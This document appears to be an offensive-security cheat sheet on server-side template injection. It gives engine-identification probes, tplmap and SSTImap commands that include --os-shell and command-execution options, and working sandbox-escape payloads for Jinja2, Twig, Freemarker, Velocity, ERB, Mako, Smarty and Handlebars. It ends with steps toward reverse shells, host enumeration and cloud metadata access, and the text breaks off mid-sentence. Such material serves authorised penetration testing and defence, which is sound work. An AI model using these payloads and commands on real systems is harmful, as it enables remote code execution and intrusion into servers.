SSTI

Sections SSTI

User input rendered through a server-side template engine. Almost always escalates to RCE.

T=https://target.com

i. Where it lives

Anywhere the app puts user input into a templated output:

  • Profile fields displayed on a “welcome, {name}” page
  • Email templates (“Hi {firstname}”)
  • Error pages echoing user input
  • Search results that personalize the page
  • Generated PDF reports (often Jinja2 / wkhtmltopdf)
  • Wiki / CMS preview features
  • Notification messages
  • Admin-configurable templates exposed via UI

Signal that you’re dealing with templating, not just reflection:

  • Math operators evaluated server-side ({{7*7}}49 in body)
  • Template-style errors when you inject braces (UndefinedError, TemplateSyntaxError, Liquid syntax error)
  • Multiple bracket styles all behave differently

ii. Engine identification

The first job is figuring out the engine. Each has a distinctive math probe:

ProbeEngineStack
{{7*7}}49Jinja2, Twig, Mako, Liquid, Django, Smarty (most common)Python, PHP, Ruby, Liquid (Shopify), Pug
{{7*'7'}}49 (numeric)Twig (PHP)PHP
{{7*'7'}}7777777Jinja2Python (Flask, Django, Ansible)
${7*7}49Freemarker, VelocityJava
#{7*7}49Ruby ERB, SlimRuby
<%= 7*7 %>49ERB, EJSRuby, Node.js
*{7*7}49ThymeleafJava
{php}echo 7*7;{/php}SmartyPHP
@(7*7)Razor.NET
{{=7*7}}dot.js, doTNode.js
{{#with "test"}}{{7*7}}{{/with}}HandlebarsNode.js

Best practice: try several probes and observe responses. The PortSwigger SSTI decision tree at the end of this file is exhaustive - keep it open while triaging.

iii. tplmap and SSTImap

tplmap is the original (Python 2, somewhat dated):

tplmap.py -u "$T/page?name=test*"
tplmap.py -u "$T/page" --data 'name=test*'
tplmap.py -u "$T/api" --cookie 'session=abc*'
tplmap.py -u "$T/page?name=test*" --os-shell

SSTImap is the modern Python 3 fork (active maintenance):

sstimap -u "$T/page?name=test*"
sstimap -u "$T/page?name=test" --os-shell
sstimap -u "$T/page?name=test" --eval-cmd 'id'
sstimap -u "$T/page?name=test" --eval-file payload.py

Both auto-detect the engine and apply the right escape chain.

iv. Manual exploitation chains

Each engine has its own escape from sandboxed template context into Python / Ruby / Java / etc. The chains change as libraries patch, so use HackTricks per-engine pages as the source of truth. Below: just the “I’m in, now what” tools per engine.

Jinja2 (Python - Flask, Django Jinja extension)

The classic escape pattern uses Python’s class inheritance to reach os / subprocess. Modern Jinja2 sandboxing blocks __globals__ and mro in some configs, so you may need to chain through subclasses() of object.

Common one-liner shape (modern Jinja2):

{{ cycler.__init__.__globals__.os.popen('id').read() }}
{{ lipsum.__globals__.os.popen('id').read() }}
{{ self.__init__.__globals__.__builtins__.__import__('os').popen('id').read() }}

Full reference: PayloadsAllTheThings - Jinja2

Twig (PHP)

Sandbox bypasses depend on the Twig version. Recent versions are tighter, older versions accept _self:

{{ _self.env.registerUndefinedFilterCallback("exec") }}{{ _self.env.getFilter("id") }}

Freemarker / Velocity (Java)

Freemarker:

<#assign ex="freemarker.template.utility.Execute"?new()> ${ ex("id") }

Velocity:

#set($e="exp"+"loit")
#set($r=$e.getClass().forName("java.lang.Runtime"))

ERB / Ruby

<%= `id` %>
<%= system('id') %>
<%= Kernel.system('id') %>
<%= eval('`id`') %>

Mako (Python)

${self.module.cache.util.os.popen('id').read()}

Smarty (PHP)

{php}echo `id`;{/php}             ## Smarty < 3
{system($_GET[c])}                ## with system() exposed

Handlebars (Node.js)

Sandbox-escape via constructor chain:

{{#with "constructor"}}
  {{#with split as |a|}}
    {{this.pop}}{{this.push "return require('child_process').execSync('id');"}}
    ...

Full payload on PayloadsAllTheThings - Handlebars chains are long.

v. Tricks worth knowing

Try probes that look harmless

When {{ and }} are filtered, the engine may still accept other syntax. Many engines support multiple delimiter styles:

{%= 7*7 %}        ## ERB-like
${ 7*7 }          ## EL / Freemarker
<%= 7*7 %>        ## ERB style
{{= 7*7 }}        ## dot

Polyglot to detect engine in one shot

Polygot

Different engines fail in different ways. Read the error message - it names the engine.

Look at framework, not the page

If you see Flask in the response (Werkzeug in error pages, Set-Cookie: session=eyJ...), templates are almost always Jinja2. If you see Spring (X-Application-Context header, Spring error pages), templates are usually Thymeleaf or Freemarker.

PDF generators

Look for “Download as PDF” / “Print invoice” features. Backend often uses wkhtmltopdf, weasyprint, or pdfkit with HTML+Jinja2. Try injecting {{}} into name fields, see if the rendered PDF evaluates them.

Email template injection

“Email me a copy” features often render an HTML email through a templating engine. Same surface, different output. Check email source for evaluated expressions.

Server-side XSS that’s actually SSTI

A reflected {{ that survives = SSTI candidate, not just XSS. Always test math before concluding it’s “just XSS.”

Filter bypass

  • Concatenation: {{ "id" }} becomes a string. Build forbidden keywords from concatenation:
    {{ "po"+"pen" }}
    
  • Hex / unicode encoding in some engines:
    {{ "\x69d" }}
    
  • Attribute access via []:
    {{ ""['__class__'] }}    ## same as ""."__class__"
    

vi. Tools to keep handy

  • tplmap / SSTImap - detection + exploit framework
  • interactsh - blind detection via OAST when math probes fail to render visibly
  • Burp Intruder with engine-specific payload lists

vii. References

viii. Where it leads

Almost every SSTI is RCE-equivalent. After confirming the math probe and finding a working escape:

  1. Spawn a reverse shell payload through the engine’s exec chain, see Reverse Shells
  2. Land on the host → 03 Shell & Tooling
  3. Local enum → 05 Local Enum
  4. On cloud → metadata endpoint via OAST request from inside, see Cloud Recon

If the engine’s sandbox blocks command exec but allows arbitrary attribute access, escalate via file read: